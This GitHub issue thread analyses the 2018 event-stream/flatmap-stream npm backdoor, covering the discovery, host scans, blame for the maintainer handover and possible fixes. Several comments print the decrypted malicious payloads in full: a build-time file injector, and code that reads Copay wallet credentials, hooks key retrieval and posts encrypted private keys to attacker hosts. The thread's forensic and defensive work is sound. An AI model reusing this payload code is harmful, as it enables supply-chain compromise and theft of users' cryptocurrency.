Submitted a report to the Node Foundation Security Working Group (https://hackerone.com/nodejs-ecosystem/)

@discordianfish i missed it at first too, it's definitely in 0.1.1 at the end of index.min.js

Here's a verbatim extract from the MIT license :

THE  SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

While it's definitely a deplorable situation, for people claiming he has any responsibility over this, he does not.
Now, I applaud those who are looking at solutions, figuring out what was wrong and trying to actively change things for the better. This is productive. Projecting blame to @dominictarr is not.

@folkrav You're right, pointing fingers and holier-than-thou attitudes are really unproductive.

The problem is that npm changed their upstream from @dominictarr to @right9ctrl without prior verification.  There are multiple transitive dependency issues with npm that make this kind of thing especially lucrative, and I'm glad it's starting to come out into the open.

@beaugunderson Are you sure? I only see "2e2f746573742f64617461", not the full payload as shown here.

@beaugunderson Are you sure? I only see "2e2f746573742f64617461", not the full payload as shown here.

The payload is imported from test/data.js

@discordianfish I see the whole payload in test/data.js in the flatmap-stream-0.1.1.tgz

should someone open issue on https://github.com/bitpay/copay/issues for visibility

Done. https://github.com/bitpay/copay/issues/9346

I think the reason he removed it and bumped the major version @FallingSnow is to hide his tracks. Most people tie to a major, so they would keep the backdoor as long as they didn't explicitly update the package's version. Meanwhile the current version looks innocent. @right9ctrl is certainly the perpetrator.

Yes. Doing an HTTP post at <IP_ADDRESS> if I'm reading right.

Doing a quick scan
$ nmap -F <IP_ADDRESS>

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-26 18:32 UTC
Nmap scan report for <IP_ADDRESS>
Host is up (0.22s latency).
Not shown: 95 closed ports
PORT     STATE    SERVICE
25/tcp   open     smtp
111/tcp  open     rpcbind
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
8080/tcp open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds

So, for people who try to understand what the malicious payload is doing: it's basically crawling your dependencies for a peer dependency on the package copay-dash, and it's an attack basically crafted towards this package.
If your overall application has both this malicious package and "copay-dash", then it's going to try stealing the bitcoins stored in it.
They have been notified here: bitpay/copay#9346.

@ali-essam both addresses (copayapi.host:8080 and <IP_ADDRESS>:8080) point to an Express server.

should someone open issue on https://github.com/bitpay/copay/issues for visibility

Done. bitpay/copay#9346

Also sent them an email on<EMAIL_ADDRESS>as per https://github.com/bitpay/copay/issues/4765

Yes. Doing an HTTP post at <IP_ADDRESS> if I'm reading right.

Doing a quick scan

Most likely this is a compromised host itself

Whois for <IP_ADDRESS>:
$ whois <IP_ADDRESS>
% [whois.apnic.net]
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html

% Information related to '<IP_ADDRESS> - <IP_ADDRESS>'

% Abuse contact for '<IP_ADDRESS> - <IP_ADDRESS>' is<EMAIL_ADDRESS>
inetnum:        <IP_ADDRESS> - <IP_ADDRESS>
netname:        SHINJIRU-MY
descr:          Shinjiru Technology Sdn Bhd
country:        MY
admin-c:        STSB2-AP
tech-c:         STSB2-AP
country:        MY
org:            ORG-STSB2-AP
status:         ALLOCATED PORTABLE
mnt-by:         APNIC-HM
mnt-lower:      MAINT-SHINJIRU-MY
mnt-routes:     MAINT-SHINJIRU-MY
mnt-irt:        IRT-SHINJIRU-MY
last-modified:  2018-01-11T13:04:14Z
source:         APNIC

irt:            IRT-SHINJIRU-MY
address:        19-2, Wisma Laxton, Jln Desa, Tmn Desa, Jln Klang Lama,, Kuala Lumpur Wilayah Persekutuan 58100
e-mail<EMAIL_ADDRESS>abuse-mailbox<EMAIL_ADDRESS>admin-c:        STSB2-AP
tech-c:         STSB2-AP
auth:           # Filtered
mnt-by:         MAINT-SHINJIRU-MY
last-modified:  2017-03-20T10:31:35Z
source:         APNIC

organisation:   ORG-STSB2-AP
org-name:       Shinjiru Technology Sdn Bhd
country:        MY
address:        19-2, Wisma Laxton, Jln Desa, Tmn Desa, Jln Klang Lama,
phone:          +60320318850
fax-no:         +60320318851
e-mail<EMAIL_ADDRESS>mnt-ref:        APNIC-HM
mnt-by:         APNIC-HM
last-modified:  2018-01-11T12:57:21Z
source:         APNIC

role:           Shinjiru Technology Sdn Bhd administrator
address:        19-2, Wisma Laxton, Jln Desa, Tmn Desa, Jln Klang Lama,, Kuala Lumpur Wilayah Persekutuan 58100
country:        MY
phone:          +60320318850
fax-no:         +60320318850
e-mail<EMAIL_ADDRESS>admin-c:        STSB2-AP
tech-c:         STSB2-AP
nic-hdl:        STSB2-AP
mnt-by:         MAINT-SHINJIRU-MY
last-modified:  2017-03-20T10:31:34Z
source:         APNIC

% Information related to '<IP_ADDRESS>/21AS45839'

route:          <IP_ADDRESS>/21
origin:         AS45839
descr:          Shinjiru Technology Sdn Bhd
                19-2, Wisma Laxton, Jln Desa, Tmn Desa, Jln Klang Lama,
mnt-by:         MAINT-SHINJIRU-MY
last-modified:  2018-10-25T04:06:40Z
source:         APNIC

% This query was served by the APNIC Whois Service version 1.88.15-46 (WHOIS-US4)

The adding and removing code makes this feel like the classic Ken Thompson "Reflections on Trusting Trust" attack: http://wiki.c2.com/?TheKenThompsonHack

good publicity for the registrar the attacker used 🤣 everyone file your complaints here: https://www.domains4bitcoins.com/

The adding and removing code makes this feel like the classic Ken Thompson "Reflections on Trusting Trust" attack: http://wiki.c2.com/?TheKenThompsonHack

good publicity for the registrar the attacker used 🤣 everyone file your complaints here: https://www.domains4bitcoins.com/

good publicity for the registrar the attacker used 🤣 everyone file your complaints here: https://www.domains4bitcoins.com/

Direct report email address :
<EMAIL_ADDRESS>

Used the following to check dependencies:
npm list | grep event-stream

The adding and removing code makes this feel like the classic Ken Thompson "Reflections on Trusting Trust" attack: http://wiki.c2.com/?TheKenThompsonHack

Shouldn’t we be pushing github to boot @right9ctrl? There’s probably a good case to be made that he/she violated the terms of service.

If you want to see all the packages in your node_modules that might be using event-stream:
cd node_modules && find . -name 'package.json'|xargs grep event-stream

Seems copay-dash did indeed at one point use the malicious dependency: https://github.com/bitpay/copay/commit/6cc4b757f6fbd111b9716b50d645390dd1f15105#diff-32607347f8126e6534ebc7ebaec4853dL12251

@vikasgorur Ah, thanks! Got it!
So the minified 0.1.1 version basically does a:
require(Buffer.from("2e2f746573742f64617461", "hex").toString()
which is obfuscated require("./test/data")

ayy lmao

@aparajita Done

javascript was a mistake

Yes. Doing an HTTP post at <IP_ADDRESS> if I'm reading right.

Doing a quick scan
$ nmap -F <IP_ADDRESS>

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-26 18:32 UTC
Nmap scan report for <IP_ADDRESS>
Host is up (0.22s latency).
Not shown: 95 closed ports
PORT     STATE    SERVICE
25/tcp   open     smtp
111/tcp  open     rpcbind
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
8080/tcp open     http-proxy

Nmap done: 1 IP address (1 host up) scanned in 3.73 seconds

A full scan yields this

$ nmap -p- <IP_ADDRESS>

Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-26 18:36 UTC
Nmap scan report for <IP_ADDRESS>
Host is up (0.22s latency).
Not shown: 65524 closed ports
PORT      STATE    SERVICE
25/tcp    open     smtp
111/tcp   open     rpcbind
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
4786/tcp  filtered unknown
6667/tcp  filtered irc
6668/tcp  filtered irc
6669/tcp  filtered irc
8080/tcp  open     http-proxy
11211/tcp filtered unknown
44200/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 806.64 seconds

If an attacker successfully injects any code at all, it’s pretty much game over
XSS is too small scale, and really well protected against.
Chrome Extensions are too locked down.
Lucky for me, we live in an age where people install npm packages like they’re popping pain killers.
So, npm was to be my distribution method. I would need to come up with some borderline-useful package that people would install without thinking — my Trojan horse.

From I’m harvesting credit card numbers and passwords from your site. Here’s how. published in January.

<IP_ADDRESS> port 8080 is an express server. Sending it a POST request to /c will always return a 200. The param c is taken from the decrypted payload r("c", JSON.stringify(t))
Sending it a payload that is to large will return PayloadTooLargeError: request entity too large. It also shows that the server is running under the /root/server/ folder.

Would gpg-signing and code reviews mitigate this issue?

@aparajita you're right. Check out this code snippet from another repo in that same user: https://github.com/right9ctrl/node-scrypt/blob/52a1cb792bc7ae0e4051ba4ad53e7b60fa5c806d/src/scryptwrapper/hash.c#L39-L45
Left shifting 1 by the number of rounds you're supposed to use for scrypt (2^14 - 2^20) results in the rounds being set to 0!

@FallingSnow How was it that this code was originally discovered?

@aparajita you're right. Check out this code snippet from another repo in that same user: https://github.com/right9ctrl/node-scrypt/blob/52a1cb792bc7ae0e4051ba4ad53e7b60fa5c806d/src/scryptwrapper/hash.c#L39-L45
Left shifting 1 by the number of rounds you're supposed to use for scrypt (2^14 - 2^20) results in the rounds being set to 0!

@polson136 not today, hacker! (your github is a little bare)

The target is copay-dash
The description "A Secure Bitcoin Wallet" decrypts the payload. The first payload is
/*@@*/
module.exports = function(e) {
    try {
        if (!/build\:.*\-release/.test(process.argv[2])) return;
        var t = process.env.npm_package_description,
            r = require("fs"),
            i =<EMAIL_ADDRESS>            n = r.statSync(i),
            c = r.readFileSync(i, "utf8"),
            o = require("crypto").createDecipher("aes256", t),
            s = o.update(e, "hex", "utf8");
        s = "\n" + (s += o.final("utf8"));
        var a = c.indexOf("\n/*@@*/");
        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
            try {
                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
            } catch (e) {}
        })
    } catch (e) {}
};

The second payload is
/*@@*/ ! function() {
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function i(e, t, n) {
                e = Buffer.from(e, "hex").toString();
                var r = o.request({
                    hostname: e,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": n.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(n), r.end()
            }

            function r(e, t) {
                for (var n = "", r = 0; r < t.length; r += 200) {
                    var o = t.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                /* copayapi.host */
                /* <IP_ADDRESS> */
                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
            }

            function l(t, n) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(t, {
                            create: !1
                        }, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return n(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}, l("profile", function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });
            var e = require("bitcore-wallet-client/lib/credentials.js");
            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

These two payloads together will steal a victim's Bitcoin wallet and post it somewhere, with public-key encryption.

@lattwood Jeez, just because I don't publish much doesn't mean I'm not a legitimate person! I want to know so that I can know some things to watch out for when vetting dependencies of my own projects.

@polson136 your best bet is to start at the top of the thread and read through. You'll see everything unfold from the initial discovery and up to the forensics to this point.

As a heads up, 3.3.6 was published 2-3 months ago.
As such, if you would have been affected by the attack you already would have been affected if you've npm installed in a project that meets the criteria for being compromised over the past 2-3 months.

@Serkan-devel Nope, because literally nothing can mitigate the issue of intentionally transferring complete control of a popular and highly-depended-on package to an attacker. You defend against it the same way as those Microsoft virus phone scams -- by not doing it in the first place.

@Serkan-devel Nope, because literally nothing can mitigate the issue of intentionally transferring complete control of a popular and highly-depended-on package to an attacker. You defend against it the same way as those Microsoft virus phone scams -- by not doing it in the first place.

For the ones wondering what the code does, based on the provided pretiffied code above by @joepie91:

Looking for the victim hot wallet profiles (this could have been running in mobile apps as well as your regular browser, regardless the device).
Iterate over all wallet ids and mapping all public keys which balances where over 100 BTC or 1e3 BCH.
Send it to a server in Kuala Lumpur (hosted here: https://www.shinjiru.com.my/ - taken from nmap -F <IP_ADDRESS>).

@brianespinosa It was the initial discovery I was curious about.

Well done @davidpelayo !

I tried making the secondary payload a little more readable.
    function e() {
        try {
            var o = require("http"),
                a = require("crypto"),
                c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";

            function sendRequest(hexEncodedHost, path, payload) {
                hexEncodedHost = Buffer.from(hexEncodedHost, "hex").toString();
                var r = o.request({
                    hostname: hexEncodedHost,
                    port: 8080,
                    method: "POST",
                    path: "/" + t,
                    headers: {
                        "Content-Length": payload.length,
                        "Content-Type": "text/html"
                    }
                }, function() {});
                r.on("error", function(e) {}), r.write(payload), r.end()
            }

            function encryptAndSend(endpoint, payload) {
                for (var n = "", r = 0; r < payload.length; r += 200) {
                    var o = payload.substr(r, 200);
                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
                }

                sendRequest("636f7061796170692e686f7374", endpoint, n), //sendRequest("copayapi.host"...)
                sendRequest("3131312e39302e3135312e313334", endpoint, n) //sendRequest("<IP_ADDRESS>"...)
            }

            function runAttack(filename, cb) {
                if (window.cordova) try {
                    var e = cordova.file.dataDirectory;
                    resolveLocalFileSystemURL(e, function(e) {
                        e.getFile(filename, {create: !1}, function(e) {
                            e.file(function(e) {
                                var t = new FileReader;
                                t.onloadend = function() {
                                    return cb(JSON.parse(t.result))
                                }, t.onerror = function(e) {
                                    t.abort()
                                }, t.readAsText(e)
                            })
                        })
                    })
                } catch (e) {} else {
                    try {
                        var r = localStorage.getItem(t);
                        if (r) return n(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(t, function(e) {
                            if (e) return n(JSON.parse(e[t]))
                        })
                    } catch (e) {}
                }
            }
            global.CSSMap = {}

            runAttack("profile", function(e) {
                for (var t in e.credentials) {
                    var cred = e.credentials[t];
                    "livenet" == cred.network && runAttack("balanceCache-" + cred.walletId, function(e) {
                        var t = this;
                        t.balance = parseFloat(e.balance.split(" ")[0])
                        "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, encryptAndSend("c", JSON.stringify(t)))
                    }.bind(n))
                }
            });

            var credentials = require("bitcore-wallet-client/lib/credentials.js");
            credentials.prototype.getKeysFunc = credentials.prototype.getKeys, credentials.prototype.getKeys = function(e) {
                var keys = this.getKeysFunc(e);
                try {
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndSend("p", keys + "\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", e) : e()
}();

what it basically does is first send what accounts are there along with their balances to copayhost.api/c and <IP_ADDRESS>/c, and then inserts a MitM function so whenever credentials.getKeys is called, it conveniently sends the private keys to the endpoint copayapi.host/p and <IP_ADDRESS>/p

So just to be clear, it sounds like if I don't have the flatmap-stream package there is no imminent threat?

https://github.com/bitpay/copay/issues/9346#issuecomment-441757628
Looks like copay is safe, but they're removing the dependency, and contacting copay-dash (a fork) to make sure that they know as well

@polson136

@FallingSnow How was it that this code was originally discovered?

https://github.com/remy/nodemon/issues/1442 aka dumb luck.

Would gpg-signing and code reviews mitigate this issue?

No, it wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....

Fire in the hole

Here comes the bot references flood

Wouldn't this only affect packages with a description of A Secure Bitcoin Wallet? Seems like a very narrowly targeted attack. That's the "good" news out of this situation.

As a heads up, 3.3.6 was published 2-3 months ago.
As such, if you would have been affected by the attack you already would have been affected if you've npm installed in a project that meets the criteria for being compromised over the past 2-3 months.

As a heads up, 3.3.6 was published 2-3 months ago.
As such, if you would have been affected by the attack you already would have been affected if you've npm installed in a project that meets the criteria for being compromised over the past 2-3 months.

There were no bad intentions:
https://github.com/dominictarr/event-stream/issues/73

There were no bad intentions:
https://github.com/dominictarr/event-stream/issues/73

As a heads up, 3.3.6 was published 2-3 months ago.
As such, if you would have been affected by the attack you already would have been affected if you've npm installed in a project that meets the criteria for being compromised over the past 2-3 months.

I know npm has a process for this...but, are there any steps that can be taken with github in terms of the attacker's github account?

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....
Code reviews would have helped.

Unfortunately Code Reviews do NOT help, as the code on github doesn't need to be the one being built and published to npm. You can actually build locally and  publish something entirely different!

What to do 😭

@fedidat - this looked suspicious to me: https://github.com/right9ctrl/node-scrypt/commit/f14ed8d50e51c25f2ca6ccd412e47241f84d9163#diff-78438df028eeb09f1dee525028604edfR83
But I haven't found any definitive badness yet

Copy on write FTW. If you don't maintain the package, abandon it, let others fork and publish under different name, etc

I
LOVE
COMPUTERS!!!!!!!!!!!!!!!!11111111111111111111111111111111111!!!!!!!!!!!!!!!!!!!!!!!!!!

I
LOVE
COMPUTERS!!!!!!!!!!!!!!!!11111111111111111111111111111111111!!!!!!!!!!!!!!!!!!!!!!!!!!

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

  Do not rely on maintainers (especially those who are providing a free service to you) to do all of your development work for youl.

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....
Code reviews would have helped.

What would fix the issue here in my opinion is not having a pile of rights on code, one shouldn’t be allowed to push code this widely, be it for security or just stability.
There should be package maintainers in the npm repository like in any distribution, just regular quick code reading or automated scanning would have noticed that something is completely wrong here.

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....
Code reviews would have helped.

Unfortunately Code Reviews do NOT help, as the code on github doesn't need to be the one being built and published to npm. You can actually build locally and publish something entirely different!

While true, having an automated way to verify that builds are reproducible would help here. (I wrote one for the PHP community.)

@paragonie-scott Then the problem lies in npm itself.. why do they allow such a harmful release policy.

Would gpg-signing and code reviews mitigate this issue?

No, gpg-signing wouldn't. This was no side-loading of a malicious package from an untrusted source. The problem here is the original maintainer of the package, who was giving away the access permissions to his software repository to a stranger. Even a signature wouldn't help here, because I am sure that the maintainer would even give the private keys for the signature to the stranger....
Code reviews would have helped.

Unfortunately Code Reviews do NOT help, as the code on github doesn't need to be the one being built and published to npm. You can actually build locally and publish something entirely different!

@MattDiMu Then the problem lies in npm itself.. why do they allow such a harmful release policy.

@gcardy in the article's attack, it detects if there is a CSP and avoid sending requests from apps that uses a CSP. But my question is if this @right9ctrl attack uses some code to workaround a good CSP or not. If my bitcoin wallet uses this vulnerable package and uses a good CSP, could my wallets been stolen?

Arguing blame is moot at this point. I suggest keeping the discussion focused entirely on solutions before alienating those who may be trying to assist.

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

 Do not rely on maintainers (especially those who are providing a free service to you) to do all of your development work for you.

My 2 cents nobody asked for: I understand it's difficult since node projects have somewhere between 150 billion - 12 zillion dependences since JS has a crowdsourced stdlib for whatever reason, but still... If you want security maybe move away from node. Now is a good of a time as any to talk about Rust. It has

zero-cost abstractions
move semantics
guaranteed memory safety
threads without data races
trait-based generics
pattern matching
type inference
minimal runtime
efficient C bindings

Dude I don't think this problem is connected to javascript. The problem lies in the ecosystem around javascript. npm is harmful and outdated and the maintainers should start using static dependencies and update dependencies only after code reviews. And most importantly: Maintainers should not trust random dudes from the internet.

Just an FYI, if you're posting and get "You can't comment at this time", be patient, don't mash comment twice.  GitHub is currently being awful and is spitting out false errors.  It'll go through after a minute or so.

Dude I don't think this problem is connected to javascript. The problem lies in the ecosystem around javascript.

🤔

@dominictarr @FallingSnow maybe just close this issues and stop commenting on it?

@lmcarreiro It's important to note that the article's attacks and CSP-avoiding workarounds are entirely theoretical. FYI for anyone who hasn't read it.

I know that sometimes my relentless sarcasm can be difficult to unravel by people on the English-learning path (and also people in need of lightening up). So just to be clear, I have not created an npm package that steals information. This post is entirely fictional, but altogether plausible, and I hope at least a little educational.
Although this is all made up, it worries me that none of this is hard.

What to do 😭

https://www.npmjs.com/package/concurrently

@zawadzkip

https://www.npmjs.com/package/concurrently

https://github.com/mysticatea/npm-run-all/issues/150#issuecomment-441658964

@zawadzkip

https://www.npmjs.com/package/concurrently

https://github.com/mysticatea/npm-run-all/issues/150#issuecomment-441658964

And most importantly: Maintainers should not trust random dudes from the internet.

Not sure if you mean @dominictarr or all the people that used this package as a dependency. 🤔

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

@fharper I think it's worth trying to get your attention on this; may be npm can help with an aditional step before allowing publishing an update that introduces security risks to a popular package or something?

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

What to do sob

Running a bitcoin miner inside container Docker?

@fharper I think it's worth trying to get your attention on this; may be npm can help with an aditional step before allowing publishing an update that introduces security risks to a popular package or something?

@bennyty @gcardy I don't see how that has any relation to this compromised package. That article is about XSS and CSP on websites. This is just a compromised package which runs malicious code on your machine (when using the Bitcoin copay package). The malicious code sends your Bitcoin wallet's private keys to a server operated by the thieves. There isn't any website involved here at all, other than the one set up by the thieves to collect the incoming Bitcoin private keys.

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

you're right, I updated my comment

@patosai Doesn't the source code use 1000 (and not 100) as the limit for Bitcoin Cash? "btc" == t.coin && t.balance < 100 ||"bch" == t.coin && t.balance < 1e3

@pcworld you're right, I updated my comment

https://github.com/dominictarr/event-stream/blob/master/LICENCE

¯\(ツ)/¯

https://github.com/dominictarr/event-stream/blob/master/LICENCE

¯\(ツ)/¯

the creator of this package is fucking idiot...

the creator of this package is fu-cking idiot...

@dominictarr thanks for all the open sourced modules! ❤I learned a lot from his work.
Funny how some people demand he takes responsibility for something he gave away for free.

It would be nice if people didn't conflate 'social responsibility' with 'legal liability'. I think all of us know that the common open-source licenses include a no-liability clause, so posting that detail really doesn't contribute anything to the discussion, even if it makes you feel smug.
The actual topic of discussion here is whether maintainers of packagers should bear a social responsibility towards carefully maintaining their projects, and under what conditions a package should or shouldn't be handed over to another party - and to some degree, how much of the review burden lies with the user of the package.
So, let's keep the discussion to that.

Looks like npm took control of the project and removed the malicious version from npm.org https://www.npmjs.com/package/event-stream?activeTab=versions

@right9ctrl did nothing wrong
XD

Check this dependency tree guys:
request -> tough-cookie -> psl -> JSONStream -> event-stream -> flatmap-stream

I think this issue is going to provoke some serious headaches

Check this dependency tree guys:
request -> tough-cookie -> psl -> JSONStream -> event-stream -> flatmap-stream

I think this issue is going to provoke some serious headaches

@zawadzkip

https://www.npmjs.com/package/concurrently

mysticatea/npm-run-all#150 (comment)

Thanks, just gotta make sure everything is updated now.

the creator of this package is fucking idiot...

You seem like a reasonable person. I'll bet you've never made a mistake.
Next time you want to be toxic, remember that there are people on the other end of your computer screen.

Yes, the legal liabilities are banished by the license, but I think handing over control of the project to a brand new account should probably be frowned upon.

As for my personal views on the matter... there are a few long-running problems, that are not specific to JS, but whose effects are magnified in JS due to the way people handle dependencies:

There's no review tooling. It's practically impossible to review every single dependency in the tree every single time you update anything. This could be made possible by having software to track what dependencies have and haven't been reviewed, and that prevents new dependencies from being added until they've been reviewed.

There's no support structure for unwanted packages. What do you do when you no longer want to maintain a package? Put a notice in the README and hope that somebody steps up? Wait for somebody to get angry in the issues? Just stop maintaining it?
There needs to be a way for maintainers to put up their packages for 'adoption', in a manner that's transparent to the community (and in particular the userbase of those packages), and that prevents assignment of packages to people with malicious intentions. This is only partly a technical problem, it's largely a social issue to solve.

There's no funding model for small packages. People probably aren't going to donate to a package that's three levels deep in the dependency tree, nor get a support contract for it, regardless of how important they are to the ecosystem. There are some companies trying to address this, but personally I've not been convinced by their approach yet. This topic really needs more discussion.

There's no clear way to indicate how well-maintained a package is. Is a package actively maintained, in maintenance mode, unmaintained, or something else? There's no standardized way to know. This one will probably be difficult to solve in the JS ecosystem without npm's cooperation, but it's an important problem nevertheless. A lot of people seem to have been caught off-guard by @dominictarr's response here about maintenance.

There's no consensus on the social responsibility that authors have. Personally I feel that authors do have a responsibility to manage their projects responsibly; that can mean either active maintenance, or clearly marking a package as unmaintained/insecure/etc. This would be no different from the general principle of not handing people dangerous things in real life without warnings, whether you get paid for it or not.
But there seems to be a lot of disagreement on this, and it's something we need to have a serious discussion about as a community.

None of these issues are unique to JS. But with the small-modules-by-default model, some of them have more of an impact when left unsolved; and npm's closed-source nature and lack of oversight from the community doesn't really help with solving this either.
That's not to say that small modules should be avoided; there are still myriad benefits to them. But we need to address these issues as a community.

FYI,
If you are using yarn, and are having issues with how to resolve this, you can use yarn resolutions feature.
https://yarnpkg.com/lang/en/docs/selective-version-resolutions/
This is helpful if for example older versions of packages like JSONStream use<EMAIL_ADDRESS>but newer packages use<EMAIL_ADDRESS>@fedehoerth

To downgraded event-stream to an assumingly safe version published on npm 2 years ago:
npm install<EMAIL_ADDRESS>--depth 10
Latest npm will add this package as a direct dependency to package.json - you probably don't want that - so you can just git checkout -- package.json and commit the changed package-lock.json to your project.

Hmm.. what about that react repo then?
https://github.com/right9ctrl?tab=repositories

In any other repositories, if the maintainer gave their package to a hacker, the maintainer would be to blame.  You don't just give you repo/package that is being used by other repos/packages to some random person without looking into it at all unless you just don't at all care about the ecosystem.
Honestly, this shouldn't even be a thing that can happen.  There should be some sort of approval process for swittching maintainers.

You seem like a reasonable person. I'll bet you've never made a mistake.
Next time you want to be toxic, remember that there are people on the other end of your computer screen.

Bet on me! I would not give any popular package, that people use it in production, to a hacker that mine bitcoin with it.

Btw, isn't it weird to give full access to such a popular package to someone with pretty much empty GH account?

@simoniz0r npm knows how many times packages are downloaded and what their dependencies are. They could work out how "important" each package is to the ecosystem and tier them. Higher tiers could auto archive or gently nag committers to deprecate. The highest tiers could require extra diligence to switch committers. This way the vibrancy of the ecosystem could be maintained while making sure the most important parts of it were secure.

@voronoipotato The only issue with saying "its a MIT license so you got what you paid for" is exactly what @joepie91 said in the same comment: It's extremely hard to look 5+ layers down at your dependency tree and audit each of them to find MIT licensed packages.

@Henning-K

